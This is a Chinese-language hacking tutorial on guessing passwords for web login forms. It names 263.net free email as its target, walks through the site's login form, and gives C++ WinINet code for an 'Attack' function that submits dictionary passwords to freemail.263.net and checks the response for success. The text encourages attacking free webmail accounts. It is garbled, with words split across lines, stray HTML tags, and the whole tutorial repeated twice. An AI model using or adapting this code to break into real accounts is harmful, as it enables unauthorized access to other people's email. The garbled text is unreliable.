鬼
鬼恋
这儿的WWW攻击只限一般站点的攻击
对于采用安全连接的站点还没有试过
一个很好的实践的目标就是各种支持WWW的免费邮件
如果你想用它来进入黄色站点
那也没办法
一般的站点中
如果你想浏览某些需要授权的内容
首先要经过身份验证这一步
就是让你输入用户名、密码
然后浏览器会根据HTML文件中FORM的定义
把这些信息发给服务器来验证
一般的办法是GET或POST
比如在263中
请看下面的263 HTML源代码
〈form method="post" action="/prog/login" name>
〈table border="3" width="520" bgcolor="#CDFAF8" align="center">
〈tr align="center" valign="bottom">
〈td>〈span class="free1">用户名: 〈/span>
〈input type="text" name="user" size="12"
maxlength="20">
〈span class="free1">@263.net 〈img src="graph/fm_niu1.gif"
widt
="9"
height="9"> 口令:〈/span>
〈input type="password" name="pass" size="12">
〈input
type="image" name="I1" src="graph/fm_button.gif" width="77" height
="20
border="0"
alt="请进吧!">
〈/td>
〈/tr>
〈/table>
如果点击"请进吧!",浏览器会向服务器发送一下请求
POST /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我们就可以模拟用户点击的过程
(未完待续)
微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档
现在
我们就可以发动进攻了
请看源程序
不想灌水
我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
但都作了注释
const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";
//pServer是目标主机名
//cszPostData就是剩下的部分
//比如攻击263的免费邮箱,那么
//pServer="freemail.263.net"
//cszPostData="/prog/login?user=tom&pass=fuck"
//当然,你要先读字典文件,读取pass的值
void Attack(LPSTR pServer,LPSTR cszPostData)
{
// Open Internet session.
HINTERNET hSession = ::InternetOpen("URLHacker",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
INTERNET_INVALID_PORT_NUMBER,
0) ;
// Connect to dest.
HINTERNET hConnect = ::InternetConnect(hSession,
pServer,
INTERNET_INVALID_PORT_NUMBER,
"",
"",
INTERNET_SERVICE_HTTP,
0,
0) ;
// Request the file from the server.
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
"GET",
cszPostData,
HTTP_VERSION,
NULL,
0,
INTERNET_FLAG_DONT_CACHE,
0) ;
// Add request headers
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrle
n(sz
ea
ders),HTTP_ADDREQ_FLAG_ADD);
// Send the request.
BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
// Get the length of the file.
char szBuffer[80] ;
DWORD dwLen = sizeof(szBuffer);
DWORD dwIndex;
BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,
szBuffer, &dwLen, NULL);
DWORD dwRet;
if (bRet)
dwRet = (DWORD) atol(szBuffer);
if (dwRet == HTTP_STATUS_DENIED){
//这是另外一种验证的办法,和系统的用户名、口令结合起来
//InternetConnect中第3、4个参数就是用户名和口令
//下面怎么做不用我说了吧
}
if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwL
en,
))
bRet = TRUE;
else
{
// now that we know how long it is, ask for exactly that muc
h
// space and really request the header from the API
LPTSTR pstr = new TCHAR[dwLen];
bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF,
pst
, &dwLen,
&dwIndex);
delete []pstr;
}
// were we redirected?
// these response status codes come from WININET.H
if (dwRet == HTTP_STATUS_MOVED | |
dwRet == HTTP_STATUS_REDIRECT | |
dwRet == HTTP_STATUS_REDIRECT_METHOD)
{
//被重定向到其它地址,需要重新连接到新的地址
}
// Convert length from ASCII string to a DWORD.
// Allocate a buffer for the file.
char* buffer = new char[dwLen+1] ;
// Read the file into the buffer.
DWORD dwBytesRead ;
BOOL bRead = ::InternetReadFile(hHttpFile,
buffer,
dwLen+1,
&dwBytesRead);
//可以在这儿根据读到的内容判断攻击是否成功
//怎么?不会!
//试一下手工猜口令,肯定给你一个出错的画面
//如果读到的内容中不包括那些错误信息,就又可能成功了
delete [] buffer;
::InternetCloseHandle(hHttpFile);
::InternetCloseHandle(hConnect) ;
::InternetCloseHandle(hSession) ;
}
创建一个会话
HINTERNET hSession = ::InternetOpen(
"URLHacker",//Agent名,随便取
INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式
NULL,
INTERNET_INVALID_PORT_NUMBER,
0) ;
连接到服务器
HINTERNET hConnect = ::InternetConnect(
hSession,
pServer,//服务器名
INTERNET_INVALID_PORT_NUMBER,
"",//用户名
"",//口令
INTERNET_SERVICE_HTTP,//HTTP
0,
0);
向服务器发出请求
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
"GET",//可用GET或POST
cszPostData,//对应于HTTP命令 GET cdzPostData
HTTP_VERSION,
NULL,
0,
INTERNET_FLAG_DONT_CACHE,
0);
加一个请求头,自我炫耀一下,hehe
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead
ers),HTTP_ADDREQ_FLAG_ADD);
接下来,查询该请求返回的信息,然后读之。
〈/form>
对于采用安全连接的站点还没有试过
一个很好的实践的目标就是各种支持WWW的免费邮件
如果你想用它来进入黄色站点
那也没办法
一般的站点中
如果你想浏览某些需要授权的内容
首先要经过身份验证这一步
就是让你输入用户名、密码
然后浏览器会根据HTML文件中FORM的定义
把这些信息发给服务器来验证
一般的办法是GET或POST
比如在263中
请看下面的263 HTML源代码
〈form method="post" action="/prog/login" name>
〈table border="3" width="520" bgcolor="#CDFAF8" align="center">
〈tr align="center" valign="bottom">
〈td>〈span class="free1">用户名: 〈/span>
〈input type="text" name="user" size="12"
maxlength="20">
〈span class="free1">@263.net 〈img src="graph/fm_niu1.gif"
widt
="9"
height="9"> 口令:〈/span>
〈input type="password" name="pass" size="12">
〈input
type="image" name="I1" src="graph/fm_button.gif" width="77" height
="20
border="0"
alt="请进吧!">
〈/td>
〈/tr>
〈/table>
如果点击"请进吧!",浏览器会向服务器发送一下请求
POST /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我们就可以模拟用户点击的过程
(未完待续)
微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档
现在
我们就可以发动进攻了
请看源程序
不想灌水
我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
但都作了注释
const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";
//pServer是目标主机名
//cszPostData就是剩下的部分
//比如攻击263的免费邮箱,那么
//pServer="freemail.263.net"
//cszPostData="/prog/login?user=tom&pass=fuck"
//当然,你要先读字典文件,读取pass的值
void Attack(LPSTR pServer,LPSTR cszPostData)
{
// Open Internet session.
HINTERNET hSession = ::InternetOpen("URLHacker",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
INTERNET_INVALID_PORT_NUMBER,
0) ;
// Connect to dest.
HINTERNET hConnect = ::InternetConnect(hSession,
pServer,
INTERNET_INVALID_PORT_NUMBER,
"",
"",
INTERNET_SERVICE_HTTP,
0,
0) ;
// Request the file from the server.
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
"GET",
cszPostData,
HTTP_VERSION,
NULL,
0,
INTERNET_FLAG_DONT_CACHE,
0) ;
// Add request headers
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrle
n(sz
ea
ders),HTTP_ADDREQ_FLAG_ADD);
// Send the request.
BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
// Get the length of the file.
char szBuffer[80] ;
DWORD dwLen = sizeof(szBuffer);
DWORD dwIndex;
BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,
szBuffer, &dwLen, NULL);
DWORD dwRet;
if (bRet)
dwRet = (DWORD) atol(szBuffer);
if (dwRet == HTTP_STATUS_DENIED){
//这是另外一种验证的办法,和系统的用户名、口令结合起来
//InternetConnect中第3、4个参数就是用户名和口令
//下面怎么做不用我说了吧
}
if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwL
en,
))
bRet = TRUE;
else
{
// now that we know how long it is, ask for exactly that muc
h
// space and really request the header from the API
LPTSTR pstr = new TCHAR[dwLen];
bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF,
pst
, &dwLen,
&dwIndex);
delete []pstr;
}
// were we redirected?
// these response status codes come from WININET.H
if (dwRet == HTTP_STATUS_MOVED | |
dwRet == HTTP_STATUS_REDIRECT | |
dwRet == HTTP_STATUS_REDIRECT_METHOD)
{
//被重定向到其它地址,需要重新连接到新的地址
}
// Convert length from ASCII string to a DWORD.
// Allocate a buffer for the file.
char* buffer = new char[dwLen+1] ;
// Read the file into the buffer.
DWORD dwBytesRead ;
BOOL bRead = ::InternetReadFile(hHttpFile,
buffer,
dwLen+1,
&dwBytesRead);
//可以在这儿根据读到的内容判断攻击是否成功
//怎么?不会!
//试一下手工猜口令,肯定给你一个出错的画面
//如果读到的内容中不包括那些错误信息,就又可能成功了
delete [] buffer;
::InternetCloseHandle(hHttpFile);
::InternetCloseHandle(hConnect) ;
::InternetCloseHandle(hSession) ;
}
创建一个会话
HINTERNET hSession = ::InternetOpen(
"URLHacker",//Agent名,随便取
INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式
NULL,
INTERNET_INVALID_PORT_NUMBER,
0) ;
连接到服务器
HINTERNET hConnect = ::InternetConnect(
hSession,
pServer,//服务器名
INTERNET_INVALID_PORT_NUMBER,
"",//用户名
"",//口令
INTERNET_SERVICE_HTTP,//HTTP
0,
0);
向服务器发出请求
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
"GET",//可用GET或POST
cszPostData,//对应于HTTP命令 GET cdzPostData
HTTP_VERSION,
NULL,
0,
INTERNET_FLAG_DONT_CACHE,
0);
加一个请求头,自我炫耀一下,hehe
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead
ers),HTTP_ADDREQ_FLAG_ADD);
接下来,查询该请求返回的信息,然后读之。
〈/form>